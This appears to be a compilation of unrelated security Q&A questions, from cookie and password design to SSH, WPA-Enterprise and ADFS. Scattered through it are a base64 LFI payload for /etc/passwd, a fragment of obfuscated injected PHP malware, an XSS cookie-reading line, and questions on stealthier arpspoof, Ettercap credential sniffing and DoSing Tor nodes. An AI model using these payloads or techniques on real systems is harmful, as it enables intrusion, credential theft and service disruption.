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I am currently working on a pet project website and I want to implement the "remember me" feature for logins and wanted to know if my procedure is secure. The authentication process basically goes something like this: If a user want to be remembered and logs in successfully alongside his session cookie he gets a long-lasting remember-me cookie. The cookie contains some random data(a UUID) and the user's id. The UUID and a salted hash of the user's id get stored in a database. When the user has to be reauthenticated from such a cookie, the user id from the cookie is checked against the hash from the database corresponding to that random data. If they match, the user is logged in, the current id/hash pair is deleted from the database and the user gets a new one to give potential cookie thieves a narrower window. to act Id/hash pairs older than 3 weeks get expired as well to further prevent cookie theft. I would like some review of my method. Is this secure? If so, could it be implemented in any other, perhaps simpler, manner?
I am living in a student housing in UK. Today, I was suddenly asked to put in my log in credentials for the internet service and because I forgot the credentials, I went to find my password section. Guess what... an ISP... storing password as PLAINTEXT! The blacked out section after "You password is:" is not a temporary password... it actually is the full, existing password that I entered at sign up.. Is there any way to report this and force them to encrypt their passwords?
So few days ago a friend fixed an lfi on his site , and he sent me the url used , it was base 64 encoded url but not usual ../../../etc/passwd , It is : Li4vLi4vZXRjL3Bhc3N3ZAAucG5n Now decoded on base64decode.org I get this : ../../etc/passwd�.png What is that question mark , I thought it was null byte , but it seems to be some unicode thing. I can't figure it out. Can anyone explain me what does it stand for , can't seem to get same base64 string when I encode it again. Thanks
My forum was running MyBB 1.6.10 and maldet found a JPG file with the webshell by Orb malware code at the end (php.cmdshell.unclassed.352). I'm using nginx and had secured against arbitrary files being processed as PHP files per this guide. Still - how could I check whether the exploit has indeed been executed from the malformed JPG file that the attacker uploaded as their avatar?
Whilst researching another question, I've noticed that on OS X 10.9.4 there are many instances of Library/Keychains/login.keychain from ~ within the Data folder of what looks like apps from Apple App Store within ~/Library/Containers. Is this merely a coincidence, or does this mean that any random app from the App Store can so easily get a hold of all of my passwords in one go?
my devices and my network have been compromised. I foolishly left my router unprotected and they were able to gain access to all my apple devices and then install some sort of software that will take pictures and record audio and store them in their metadata so it remains hidden on my computer. This person has then set up a page and has leaked my personal pics & is spreading terrible rumors about me .......can anyone help me out...with the specifics on how this is done. So I can build a case against this person .....its gotten so bad that there saying I'm some sort of child predator and diseased pervert.
In stream cipher (namely the OTP ) . The pad which the plain text is Xored with has to be random to achieve perfect secrecy , or psudorandom to ensure semantic security Dose this apply to DES or block ciphers in general ? Dose the randomness of the DES key effects the security ?
I have a site running only with http. I have decided I want to go full https, but I have no idea how to do this. Do I have to buy that certificate somewhere? Where, how much does it cost? Does it involve changes in my actual code? Forms, ajax, etc.. Do I have to change something in my server config? What, how, where? I'm running PHP, I have ftp access to files on server, I can use Parallels environment in browser to change some things on servers...
Suppose I have 3 sites that I want to have SSO in, site1.com, site2.com, and auth.com. SSL is always required. According to how SiteMinder cookies are described here, one of those domains would be the associated "master cookie" domain, and others would redirect to that domain in case of an authentication failure. How things currently work To prevent clickjacking, the login page for auth.com has the NoFrames script and a frames buster script implemented for older browers. After the client logs into site1.com or site2.com, AJAX kicks in and does some operations (polling etc). During this time, Javascript may get a an error saying that the session is invalid. This error occurs while using AJAX. (if it occurred while browsing, there would be a redirection and this entire question doesn't apply) At this point I can either refresh the page and redirect, or tell the user to login again at auth.com, but then I lose my in-memory application state. A new/seamless approach for the end-user As a workaround I'm considering using Javascript to create an iFrame to auth.com/RefreshOnly (iFrames okay) POSTing my session data. Auth.com/RefreshOnly will see the cookie for its domain and, if it chooses, redirect to my origin site1.com, instructing it to update my current cookie.... all within a hidden iFrame. Question Is this limited usage of iFrame permissible in an IDP/authentication provider? (not exclusive to Siteminder)
I am looking for a list of typical mistakes someone can make when implementing digital signatures for a software. And of course why they are mistakes and how an attacker could take advantage of them. I do not mean implementing the crypto itself but applying/using a library (like GPG or something alike) in your own project. What I thought of so far: Using weak algorithms for encryption and/or hashing. -> Attacker could fake a valid signature because he is able to find collisions. Wrong handling of public keys (for example a application just downloads a public key it needs for verification of a unknown signature). -> Man in the Middle attackers could replace the downloaded public key with their own and the application would verify files of the attacker. Signatures are not verified correctly (for example the software just tests if there is a signature, not if its valid.) -> Attacker could use "fake" signatures. Are those possible mistakes to make? Are the implications correct? Please give me your ideas on the topic. Thanks in advance! EDIT: This is for an assignment in a security class. So i just want to collect some ideas. They to not have to fit a specific system, protocol or software. Just some mistakes one could make in practice.
I'm concerned how android apps that integrate payment processing deal with secure financial information.When purchasing through these apps the apps show the Webpage of the bank asking for credentials. The page is same as the one which opens when we pay through the Web browser,but there the data is secured by HTTPS. We never know if the app uses HTTPS and can the app read the password or CC info we enter into the page shown in the app UI. Thoughts?
i am creating a game of sorts where you use and earn credits to accomplish tasks. I am curious if you can effectively use gmail's security features to secure these submissions if the emails are all in one of the major "safe" ESPs - that use SPF and DMARC. For simplicity let's just say every account except the game_host@myserver is a gmail email account. https://support.google.com/a/topic/4388154?hl=en&ref_topic=29818 you obviously know it is coming from gmail and thereby has to be the correct sender/receiver. no spoofing possible and the whole message should stay https the whole time right? https://support.google.com/a/answer/60764?hl=en
I am a bit confused from various sources about the abstraction level and layers that a file resides in forensic imaging. I have found two slightly different explanations: The first one includes a) Physical Layer (sectors,cylinders etc.) b) Data Layer (Unallocated space etc.) c) Metadata Layer (i-nodes, alternative data streams etc.) e) File System Layer (superblock, boot sector etc.) f) File Name Layer The second one includes: a) Physical Media Layer (sectors,cylinders etc.) b) Media File Layer (partitions etc.) c) System Layer (boot sector etc.) d) Application Layer (ascii etc.) I notice there are some similarities but I try to figure out if the 1st one is an extension of the second or else. Can anyone clear this out?
Redhat finally gave in after insisting for years that elliptic curves had patents and disabling them, recently enabling a whopping three algorithms: CentOS 6.5 openssl ecparam -list_curves secp384r1 : NIST/SECG curve over a 384 bit prime field prime256v1: X9.62/SECG curve over a 256 bit prime field  CentOS 7.0 openssl ecparam -list_curves secp384r1 : NIST/SECG curve over a 384 bit prime field secp521r1 : NIST/SECG curve over a 521 bit prime field prime256v1: X9.62/SECG curve over a 256 bit prime field But a direct source build of openssl 1.0.1i has dozens of curves in comparison. Is what redhat did robust enough? Did they cripple it?
I'm currently working a project that requires me to store sensitive information (mainly passwords and other information) on a web server via a standard python/flask website. This information is to be shared with x number of other people on the system where they can decrypt and see the information. Ideally I'd like to perform all the encryption on the client side and keep the server storing the encrypted data in a way that means the server is never able to decrypt this data. I was originally envisioning a system similar to that of lastpass, but with the ability to share the same data with other users to be decrypted and viewed by them I can't think of a way for this to work. Is this possible? [edited to add more info] The project i'm working on is actually a password/information management app mainly targeted at companies wanting to manage their internal passwords/info for say server access or software systems with single accounts. I don't think its possible to provide users with the keys to use outside of the system. I was hoping the users password or maybe individual key of some kind would be enough to decrypt the data held in the system but being able to encrypt the data so any users key can decrypt it eludes me. I'm thinking it might not be possible.
I'm a beginner, and these may be very obvious for you, but I'm trying to understand if there are security issues with this example. Today on Stack Overflow, I saw the following post: PHP Sessions Login with remember me. The question is about creating a "Remember Me" function to extend the authenicated session for logged-in people. The accepted answer was: function setSession($username,$password,$cookie=null){ // Other code for login ($_POST[]....) // $row is result of your sql query $values = array($username,$this->obscure($password),$row['id']); $session = implode(",",$values); // check if cookie is enable for login if($cookie=='on'){ setcookie("your_cookie_name", $session, time()+60*60*24*100,'/'); } else { $_SESSION["your_session_name"] = $session; } } So, my question is not about how you should do this, but am I correct in the security issues I outlined below for this code example? Using the OWASP Top 10 for reference, these are the issues I see: Issue 1 : First we can suppose that $session has the password and the username because the $value contains the username and password of the user. Also with this line: setcookie("your_cookie_name", $session, time()+60*60*24*100,'/'); The cookie has now the credentials of the user. A big mistake for me, see Issue 3 for more. Issue 2 : I read this OWASP article where they say that to prevent CSRF we need to generate a random ID associate to the SESSION or Cookie. Obviously in this code there isn't a token or unique ID which is suspicious to me. Issue 3 : We can also imagine the site might be vulnerable to 'Cross-Site Scripting (XSS)' In fact, if the credentials of the user are stored in a cookie we can execute a simple script and show the cookie. alert(document.cookie); Question I'm sure there may be other issue, but I've exposed the most obvious for me. Am I right in the issues I've identified? Did I miss any other big security issues with this code?
I haven't used Windows partition since mid-June and I booted the system once again just a few days ago. My first action was as usual update all programs marked to be updated (including Windows updates). Today MSE detected TrojanDownloader:Win32/Tugspay.A in chrome directory, which I believe to be for persistent storage after Googling. Since only option was to remove or leave it - I removed the file. I run a full MSE scan but nothing has been shown up. When I booted computer from AVG LiveUSB (created on different computer and inserted after shutdown) it did not detect anything except cookies and adware in recycle bin (after checking - some time ago 'Download Manager' tried to be downloaded on my computer and I deleted it without running). Should I believe that malware was put into persistent storage but has not been run, perform any extra security steps to check it or reinstall the Windows (the last step is relatively expensive for me in terms of time/hassle - it's a private computer so there isn't anything like remote deploy system etc.).
I'm trying to implement two-factor authentication on the cheap for a website of mine. My bank uses this sort of grid-based OTP system, so I wanted to emulate it in my application: Cards are generated using the same functions as passwordmaker.org. A 64 character pseudorandom string is generated for each card as well as a unique card ID number and these are hashed together using HMAC-RIPEMD-160 using the random string as a key and then some sort of mathematical formula is applied to the hash to produce a long string of characters from the list of characters I provide (in this case, the numbers from 0 to 9). I then split this long string up to populate the different values of the card. The random string and ID are stored in a database in plain text in order to validate a user. Basically everything that is needed to reproduce the entire card is stored in the DB. Is there anything wrong with this design so far? Is there any way I can avoid storing the random string in the database but still be able to validate a user given that they only need to provide the values from 3 cells in order to log in? As I have it, the numbers produced are not (necessarily) unique, so there is nothing that would prevent the value from one particular cell showing up in any other cell. Is this a good or bad thing? My thoughts are that it is good in the sense that if an attacker were to learn the value of some of the cells on the card, this would not make it easier to determine the values from the other cells. In case anyone is interested, here is the PHP code that creates the card: /** * Gets all cell values for the grid * @Return Array */ private function _getGridValues() { if (!isset($this->_num_rows)) { throw new Exception("Number of rows is not set"); } if (!isset($this->_num_cols)) { throw new Exception("Number of cols is not set"); } $hash = $this->_getStringHash($this->_num_rows * $this->_num_cols * 2); $rows = str_split($hash, $this->_num_cols * 2); foreach ($rows as $index => $row) { $cols = str_split($row, 2); $this->_values[$index] = $cols; } } /** * Uses HMAC-RIPEMD-160 to create a hash using a key and a salt * @Return String */ private function _getStringHash($length) { if (!isset($this->_key)) { throw new Exception("Key is not set"); } if (!isset($this->_salt)) { throw new Exception("Salt is not set"); } $string = ''; $count = 0; while (strlen($string) < $length && $count < 1000) { $key = ($count++) ? $this->_key."\n".$count : $this->_key; $string .= $this->_rstr2any(hex2bin(hash_hmac('ripemd160',$this->_salt, $key)), $this->_chars); if (!$string) { throw new Exception("Unknown error"); } } return substr($string, 0, $length); } /** * Convert a raw string to an arbitrary string encoding * @Copyright http://sourceforge.net/projects/passwordmaker/files/PHP%20Edition/ * @License GNU LGPL version 2.1 */ private function _rstr2any($input, $chars) { $divisor = strlen($chars); $remainders = Array(); /* Convert to an array of 16-bit big-endian values, forming the dividend */ // pad this $dividend = array_pad(array(), ceil(strlen($input) / 2), 0); $inp = $input; // Because Miquel is a lazy twit and didn't want to do a search and replace for($i = 0; $i < count($dividend); $i++) { $dividend[$i] = (ord($inp{$i * 2}) << 8) | ord($inp{$i * 2 + 1}); } $full_length = ceil((float)strlen($input) * 8 / (log(strlen($chars)) / log(2))); /* * Repeatedly perform a long division. The binary array forms the dividend, * the length of the encoding is the divisor. Once computed, the quotient * forms the dividend for the next step. We stop when the dividend is zero. * All remainders are stored for later use. */ while(count($dividend) > 0) { $quotient = Array(); $x = 0; for($i = 0; $i < count($dividend); $i++) { $x = ($x << 16) + $dividend[$i]; $q = floor($x / $divisor); $x -= $q * $divisor; if(count($quotient) > 0 || $q > 0) $quotient[count($quotient)] = $q; } $remainders[count($remainders)] = $x; //$remainders[$j] = $x; $dividend = $quotient; } /* Convert the remainders to the output string */ $output = ""; for($i = count($remainders) - 1; $i >= 0; $i--) $output .= $chars{(int)$remainders[$i]}; return $output; }
What do I need to learn/know to throttle a clients network based on his/her operating system. For example: Someone in my network using Kali Linux... I would like to throttle their traffic to trickle state. Is it possible to do this? If its possible, what ways can the client spoof their OS.. ie: Kali Linux shows up as Windows XP (deterring OS scanning tools)
Many of my customers refuse to sell or recycle their old hard drives or mobile phones because everybody now-days talks about how popular data recovery program's are. Isn't it enough to use a software to write a zero to every byte of the storage area in order to protect your deleted data? What am I missing here? Are there other ways to recover the data? Why do some programs do more than one pass , this sounds silly
I'm thinking of developing a third-party client for Quora in Windows Phone. There are a few but they just run Quora in a mobile browser. The problem is there is no public or open APIs of Quora. And I want to develop an app which logs in a user and displays questions related to his faved topics and all. The way i've figured out is through scraping a user's webpage content and then accessing the important elements. Is this way of scraping legal? I won't save his data anywhere, except the user's session so he keeps logged in even in the background. Oh and should I ask this on Stack Overflow, if this isn't the place? Thanks.
"arpspoof" arp replies every second and I think about what is a reasonable time to send arp replies without affecting the network performance, or just making arpspoof not so noticiable. Is there any arpspoof config to change that? I guess in "ettercap" is possible in /etc/etter.conf
I asked a related question earlier, but I want to ask a broader version this time: To simplify things let's say I've developed an application that allows users to send messages in a chat room, and to each other (similar to IRC). The nature of the message doesn't require too much secrecy, nothing sensitive is ever shared. I develop an open-source server and an open-source client for the application. Users will setup their own servers, I simply provide the server and client programs. I want users to have accounts on each server. The client should ideally log on with a username and a password. I can assume the client won't steal account information because the user got it from a trusted source. The problem is the server can't be trusted because: Each server's owner can make modifications to their server's code. They can see the contents of any database. How can I authenticate users: without letting the server owner access the user's password without letting the server owner access a precursor to a user's password (anything that isn't the password, but can either be turned into the users password, or used to log into another server). without relying on an precomputed key that has to stay hidden on either the client or server (the source code would reveal it). ideally allowing a password Edit: Ideally the password and username would be all it'd take to log on, so logging on with different machines the user would only need the password and username. The approaches I have in mind: Challenge-Response: Send a challenge, hash it with a password, and send it as a response. This passes requirement numbers 1 and 3, but fails the 2nd, as it requires the server to also have access to the hashed password, which can be turned into the actual password, or used to log onto other servers (the latter is slightly lesser, since it can be dealt with if it occurs). My other question goes into details on how I implemented this idea for testing. 2: Server Whitelist: This feels a little like cheating, but it meets all the requirements by "removing" the biggest issue, the fact the server can't be trusted. If the client tries to connect to a server not on the whitelist, a strongly worded warning would be issued(or access to non whitelisted servers could be completely blocked). This has the downside of complicating the process of users creating new servers, and it places more responsibility on me than simply developing the application (I'd have to manage the whitelist). It also doesn't necessarily ensure that the server can be trusted since even if the owner isn't malicious, there's no guarantee they have proper security on their systems.
Is it safe to use virtual mobile numbers for account verification & authentication for services such as PayPal, Twitter, Gmail, Linkekdin, etc.? And what is the security drawback for this?
I am by no means an expert in online security so I wanted to outline the steps I am taking to remain as safe as possible yet still make it as easy as possible to gain access to my system from anywhere (within reason). I have set up an openssh-server on my linux (debian wheezy) PC and enabled port forwarding for port 22. I have also installed the DenyHosts package and set it up with the default parameters (block IP addresses after 10 invalid attempts at the correct username, or 5 invalid username guesses). I have disabled root access directly (ie. attempting to log in as root will fail and after the next attempt your IP will be blocked). I have allowed only a single user account to be accessible and have used a password that I would consider secure (upper and lower case letters and numbers, nothing obvious or related to me). Is this a safe setup? Are there any obvious security concerns that I am missing? I understand that "best practice" is to use a public/private key pair, but I am concerned that this will make it too difficult to log on from a new computer. So suppose I take my laptop (or the device of someone I trust) and use it to log on via putty from the local starbucks or internet cafe. Is this safe, given my current setup? And if not, what would I have to change to make it safe? I hope these questions aren't too vague. I'm relatively new to this subject.
We have a web app for which some users want to have a password reset function. I don't want to enforce a particular level of security for the users. So if a user picks a strong password which she is able to remember and then proceeds to store sensitive data in our system, then we want to keep that data secure. At the same time there is a constant stream of users who forget their password and who do not want to bother with security at all, in fact they don't even want to be asked questions about security. How can I create a password reset function for the second group of users without reducing the security for the first group of users?
A WWW-site guided me to change the password regularly. Should I believe what the say, if my current password is long enough random string?
I didn't think of this before but today I just realised that in soke sites, pw recovery is possible if you know the answers to security questions like What is your mother's maiden name? In this case, should the answers to the security questions be hashed or not?
The administrator account can be renamed which means the hacker needs to figure out two pieces of information : the user name and the password while there is always one root account in Linux named root
I can understand that typing my user name on the computer is "identification" and providing the password is "authentication" but when I use a smart card or a key fob I see no identification taking place?
I've been looking into what hashing functions are, what they do, &c. I was just wondering: how does a hashing function always return the same length hash? How does hashing work? does not explain why hashes for a certain algorithm return the same length every time.
I'm using a tplink router for my home LAN and just noticed that in the UPnP section in its control panel there are two entries with App description: Teredo of tipe: UDP and ports: 55566 and 49868 How can I analyze what application is using those forwarding? Does it seem suspicious? (There is no remove button in the web interface of the router so I cannot just remove those entries...)
I have set up an SSH key with Digital Ocean that is automatically added to any servers I create. Is it okay to use this root account for SFTP and daily use or should I create another user account and avoid using the root account?
Is there any attack out there that can be implemented where a single request to a server i host for example responds by sending the same file say 20 times back ? the idea behind the attack is to DOS tor nodes which are hosting the stream, this attack is for a masters project, and just want to prove the concept of it working, if this can be achieved how can it be done thanks
I need to send a lot of small messages that are usually between 128 bits and 256 bits long, and each message is encrypted with a separate 128 bit AES key. Therefore, to send each message with the key would require between 256 and 384 bits of data. If a message is 129 bits long, it would still take 2 AES blocks to encrypt and the message size with the key would increase to 384 bits. Because of this, I'm thinking I can increase throughput by using AES as a stream cipher. The solution I came up with is simply to use the key to encrypt a message of all 0's with size rounded up to the nearest 128 bits, using AES and a suitable non-authenticated encryption mode like CTR. Then, take the encrypted zeroes and XOR them with the plaintext to get a same sized ciphertext. I realize each key may only be used once, because given the plaintext and ciphertext, the stream can be recovered, but this is not a problem in my situation because each key is only used once. My question is, is this method secure, and does it have any other caveats such as the plaintext attack I mentioned?
I'm using Ettercap as MITM for testing on sniffing password but I'm not getting some POST request data containing "usuario" (user in spanish) and "clave" (password in spanish). I'd like to know if there's some editing file in order to add those fields into the sniffing engine.
I want to test an ldap directory with ldapsearch. No passwords are stored in the LDAP directory. Account passwords are stored in Kerberos and LDAP contains a pointer to the Kerberos principal. The ldap has an attribute userPassword Attribute Name: 'userPassword' OID: 2.5.4.35 URN: urn:oid:2.5.4.35 Multiple Values: Multi-valued (treated as Single-valued) I tried to search an user with the command $ ldapsearch -vvv -x -D 'cn=xxxxxx,ou=xxx,dc=xxxx,dc=xxx' -h 'xxxxxxxx.xxxx.xxx' -W ldap_initialize( ldap://xxxxxxxx.xxxx.xxx ) Enter LDAP Password: ldap_bind: Invalid credentials (49) Seems the ldap server cannot get the credential since itself doesn't store the passwords. Can the search be done under this circumstances? How to authenticate logins using ldap via kerberos?
While using google chrome I keep getting a pop-up from Sophos saying "High Risk Website Blocked - Access has been blocked to "codegv.ru" It happens every time I perform any action in google chrome. Any navigation and it comes up. I suspect there to be Malware on my computer. I am currently letting Sophos scan my computer. What should I do if it does not find anything and it keeps happening?
I am downloading Ubuntu Linux, and would like to make sure that my download has not been tampered with. Ubuntu has a GPG key, which I could use to make sure that the download is valid -- but how do I validate the key? Unfortunately, the key seems to only be available via hkp -- which is not a secure protocol! The GPG key is itself signed -- but how do I check those keys? The Ubuntu instructions for verifying the download are not helpful unless the public key to verify the signatures is available securely. GPG web of trust is not helpful, because mine is currently empty and I don't know where to start building it.
What are the tools Google uses to blacklist a website as being malicious (hosting a web malware)? I know it is partly fed by users themselves who can enter unsafe URLs into Google's database. But what, apart from this, are the tools Google uses? Does it rely on anti-viruses, for example? Also, why is the Google safe browsing API not opensource?
I have a SSL site where a user can select items to purchase, register and pay. For payment, the user is redirected to a payment gateway. Once the payment is completed, the user is redirected to our website. Now, my client wants to host one form on his non-https site in a secure iframe to get some information(non-sensitive) from the user which is submitted to the SSL enabled site, and the user is also redirected to the SSL site after form submission. Are there any risks associated with such an implementation? Can we improve upon the implementation and check that the user is coming from my client site only?
All OTP systems that I have observed, send a new OTP every time a user requests for an OTP. (for example whatsapp) Only the latest OTP is valid and an OTP can only be used for X hours. I am wondering what would be the drawback if I send the same OTP for every user request in the said X hours? So let us say X = 2, then once an OTP is sent, all further requests for OTP in the next 2 hours would send the same OTP. Any requests after the 2 hours will generate a new OTP. I have an application where we use OTP. The reason I ask is that sometimes the OTP SMS is delayed, and so user requests for another OTP. Finally when the SMSs do arrive the user is unsure which OTP to use.
Recently I saw a domain of mine was hacked and the hacker have injected his code in some encryption format as below. <?php $l___l_='base'.(32*2).'_de'.'code';$l___l_=$l___l_(str_replace("\n", '', 'D+I/q0Gc5hiUdrnOss2HvSvTg1sG8Q6rE6jWEaBtDzQFKd1Er6yZI1MBfxpqll488V7Tbm3phDbBFAwG k5MLq6NbLAXb69v3jtw65S0KD5Nx2R8ROgea8Z0z1b/1amqjjy706S1+QQ2+nJYjdf8QYi0ic4kArurt yE+zVXve7+PByfRZYTFOL7f+0YwcE/+JilFvFyJjOuid8BGS2mlNGOQfnhKnE5hx6rqcKCtrfk29fJNM s+r1ppMJoVjBbstGuXjMHXYCPlD90sncCTKs/zartN4bBWXeSWp585mZc+OeYVL5mJcPxJn673e62z+y rROT7OcGEMyd7LCDyMB41OwG6Q5VDAv0wZNelA+Yz0JiYd4nahYoWC/35syZlXQr136ftUc+8gR9xfQW gG1d2mOxcozGxZbuM9mB80UyYxmXnRDBocwKeR8uTPTiAEXWocDxXLwuCrfhkLZuAvHG2b857X8uqx68 nS8+XSMFquYb6spb8irA I was wondering if anyone knows how to decode it. I want to see his code. Is there any online site available? Doing some research, some sites shows that it follows following encryption str_replace --> base64_decode --> md5
Let's say I have an iOS/Android app which rely on a custom REST API for things such as account management (register, login, password reset, get/set user-related data). There is no good way to guarantee my API is only called from my mobile application. Oauth2 and the like with 'secret' in the client code can be easily reverse-engineered. Let's say I have an API call like this: https://myapi.example.com/register_user?username=UUU&password=PPP&email=EEE This creates a new user and from then on all API calls will either include a session-token or something that ties the API call to a specific app user with an account. This first registration call is the only one that is not protected by anything and what I'm worried about is that a malicious person calls it 1,000,000 times from a PC script to create lots of fake users, especially with real email addresses. Then people with these addresses won't be able to use the app. How can I protect that very first API call to prevent mass misuse? I'm thinking of including a server-validated mobile-friendly CAPTCHA in the user registration form. Again, all subsequent API calls are protected with session-token and API-call-count monitored per user (suspicious ones are blocked). It's about designing the API in such a way that even if used from an inherently unsafe client like a mobile phone, it is still fine. Basically even if the API were to be made completely public, nobody could do much wrong with it. So here the question focuses on protecting that first API call but it's also about solving a more general problem. It seems other interesting alternatives include using email-validation or a solid third-party identity provider like Google and the like. None of these 3 options is perfect. Anyway, interested in the discussion around this issue. Does that make sense? Am I over-complicating things?
Mesh network have one router connected to WAN or Internet so IP address is allocated to that router will be exiting point for all the nodes.. and other routers will have Internet connection from that Router.. so when any malicious activity is done by someone at the time they are connected routers within Mesh WiFi network how we can track them.. Suppose anyone sends mail from mesh Network.. what are the possible ways to track down that mail sender? what Information mail company have when they detect the mail sender and try to track them. I googled some results and it says that we can have IP address and track the mail sender but In case of Mesh network there will be single IP address(external WAN gateway) for all nodes within the Mesh did mail providers like google only have IP address to track or they have some other Info also?
No matter on which server I try to connect via password login, I always get the error message Too many authentication failures for If I have exchanged the ssh-keys, I can login without password as before, also if I rename my user ~/.ssh folder, I get to the password prompt as suspected. What can I have wrong in my .ssh folder? If I run ssh-add -l this list is > 5 So I have more than 5 keys in my ssh-agent and it seem to insist on looping through all my keys in my agent (with none of them fitting, cause I didnt create a key for this server) before reaching max_tries. I also read this: SSH aborts with too many authentication failures But I couldn't find the solution there, (maybe because of lack of understanding). The only way to login for me is to call ssh with the option PreferredAuthentications=password: ssh -o PreferredAuthentications=password host.example.org But that is just a workaround. How can I fix this?
Say I have a page on my website which lists public keys to be used in case people would either allow me access to a server, or send me encrypted information. Is there any benefit to me providing different types of keys for users to use, or multiple keys of the same type but different sizes? For example, a page on my website that looks like this (with links to the full keys, not just the fingerprints): RSA v1: 20:ad:11:7f:f1:39:8a:e8:58:3f:a0:62:d8:98:cf:2f DSA: 93:c2:ad:b7:cd:15:1f:ee:50:7b:c1:a0:13:79:a2:e7 ECDSA: 3b:83:67:dd:c7:66:07:05:a7:39:41:a8:90:76:c4:d7 RSA v2 (2048 bits): 54:4f:6d:a1:22:ec:84:24:2f:aa:99:e1:66:cb:b5:29 RSA v2 (4096 bits): 11:98:59:14:d1:42:20:68:97:29:9d:b3:fd:5e:6f:f9
I am using Ubuntu and am wondering if installing Snort on my host can make me more vulnerable?
Suppose that instead of using, say, Google, let me in! as my Google password, I used some consistent transform of this string, say ZWE1NjMyNm? What search keywords would be helpful to search for information on the general idea of using "pre-password transforms" as passwords?
https://www.openssl.org/docs/apps/ciphers.html listed a set of cipher suites supported by different protocol versions, but I don't see a TLS 1.1 list. Anybody could help me to understand where to get a lit of cipersuites supported by OpenSSL TLS 1.1?
I recently learned about how WPA-PSK works. If I understand correctly, the 4-way handshake enables the protocol to ensure mutual possession of the PMK (and therefor, the PSK) without sending the PMK/PSK over. This way it's not susceptible to a man-in-the-middle attack. My question is, how is mutual authentication ensured in case of WPA-Enterprise? I'm running 802.1x with FreeRadius and PEAP at my home network (just as a hobby project) and it works, but I'm not sure if I understand how it works. I'm using PEAP, so clients are authenticated with usernames and passwords. But do clients make sure that the WiFi network they're talking to is not a man-in-the-middle? The authentication server has a SSL/TLS certificate, but it is self-signed. Shouldn't the root CA certificate used to sign the server certificate be installed at the clients for this to work? This is not the case in my setup, but all my Android clients connect just fine. If my aforementioned understanding is correct, that would mean WPA-Enterprise with PEAP is less secure than WPA-PSK because a man-in-the-middle attack is possible to intercept the passwords. This seems weird to me. Is there a flaw in my understanding? EDIT: I found a partial answer in this article. However, I still have questions unanswered. Does this really mean that my WPA2-Enterprise PEAP setup is less secure than plain WPA2-PSK? Seems really counter-intuitive because WPA2-PSK is so much simpler and only requires one shared secret. How is is possible that WPA2-PSK is able to ensure mutual authentication with just a shared secret while WPA2-Enterprise is not? Should I be worried about it (and proceed to improve/secure my setup) or is it not likely that this can be exploited? How can I make the clients validate the server's certificate? Is the only way to install the certificates manually on all the clients? (In that case, if I need to distribute certificates anyway, I can better switch to EAP-TLS) Or is it possible to use a public certificate just like with HTTPS? How would that work? With HTTPS, your certificate is 'anchored' to your domain, which you've proven to the CA that is yours. How does this work with RADIUS servers? EDIT: Found more answers. EAP-MS-CHAP-V2 (Microsoft Challenge-Handshake Authentication Protocol version 2) is a mutual authentication method that supports password-based user or computer authentication. During the EAP-MS-CHAP v2 authentication process, both the client and the RADIUS server must prove that they have knowledge of the user's password for authentication to succeed. Mutual authentication is provided by including an authenticator packet returned to the client after a successful server authentication. (I can't post more than 2 links, so I won't be able to provide a source for this quote) Here is explained that the second stage / inner authentication protocol, MS-CHAPv2, is a mutual authentication protocol too. It makes sense now. However, this article suggest that MS-CHAPv2 isn't safe anymore. Since I rely on MS-CHAPv2's mutual authentication properties in my WPA2-Enterprise setup, are there any alternatives to MS-CHAPv2 that are more secure? EDIT: I just found out about EAP-PWD, a new single-stage EAP authentication protocol which is supposed to be stronger than PEAPv0/EAP-MSCHAPv2, provides mutual authentication, and doesn't need SSL/TLS certificates at all. EAP-PWD is highly secure (the password is never transmitted, even in encrypted form), and does not require PKI certificates, and also requires only 3 authentication round-trips. So it is considered efficient to roll out in eg Eduroam and other environments. Requires that the Radiator user database has access to the correct plaintext password. The only problem seems to be that it isn't widely adopted yet. Android (> 4.0) does support it however, which is nice. But I still couldn't find much information about it and by the looks of it, Windows doesn't support it.
Is it possible (and how) to tell from a network dump if there is a buffer overflow attack, DoS or brute force attack? A DDoS would be more obvious to identify, but those attacks mentioned above I think would look a little more like normal activity. Sorry for my newbie question, your answer would help a lot. Any information on how to identify these attacks from network dumps would be extremely appreciated.
Currently we authenticate WCF calls TO a service via ADFS, using the following procedure: Firstly, we get a SAML token from ADFS using (var factory = new WSTrustChannelFactory( new UserNameWSTrustBinding(System.ServiceModel.SecurityMode.TransportWithMessageCredential), new System.ServiceModel.EndpointAddress(new Uri(_aDFSUsernameMixedUri)))) { System.IdentityModel.Configuration.SecurityTokenServiceConfiguration serviceConfig = new System.IdentityModel.Configuration.SecurityTokenServiceConfiguration(); factory.Credentials.UserName.UserName = _apiUser; factory.Credentials.UserName.Password = _apiPassword; factory.Credentials.ServiceCertificate.Authentication.CertificateValidationMode = serviceConfig.CertificateValidationMode; factory.TrustVersion = System.ServiceModel.Security.TrustVersion.WSTrust13; WSTrustChannel channel = null; try { var rst = new RequestSecurityToken { RequestType = WSTrust13Constants.RequestTypes.Issue, AppliesTo = new System.ServiceModel.EndpointAddress(_endpointUri), TokenType = "urn:oasis:names:tc:SAML:2.0:assertion", //KeyType = KeyTypes.Symmetric KeyType = KeyTypes.Bearer }; var token = factory.CreateChannel().Issue(rst) as System.IdentityModel.Tokens.GenericXmlSecurityToken; We use the /adfs/services/trust/13/usernamemixed endpoint (_aDFSUsernameMixedUri variable). This endpoint is proxy enabled. Secondly, we use this SAML token to contact our service: using (HttpClient httpClient = new HttpClient() { BaseAddress = baseAddress }) { httpClient.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("SAML", saml); httpClient.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("application/json")); string jsonString = JsonConvert.SerializeObject(model); HttpResponseMessage response = await httpClient.PostAsync(Url, new StringContent(jsonString, Encoding.UTF8, "application/json")); return response; } It is worth mentioning that the service only accepts authenticated requests, and it will read out the authorization details from the SAML token (which is signed & encrypted). That is how the service is secured. We now want to protect our ADFS server by using an ADFS Proxy (Web Application Proxy). The call to ADFS for the SAML token still works, and returns a SAML token. However, the second step fails. The HTTPRequest is blocked by the ADFS Proxy server, and redirects the call to the ADFS login page, which is of course not what I want. I have already tried setting the passiveRedirectEnabled="false", but this does not help. Any idea where I have to put the SAML token in the HTTPRequest to let the proxy know that this is an authenticated request? UPDATE The ADFS Proxy uses an EdgeAccessCookie to decide whether or not it redirects the request back to the ADFS server. In case I could add this EdgeAccessCookie to the request, the proxy would probably stop blocking the request. How can I retrieve this EdgeAccessCookie in a WCF request?
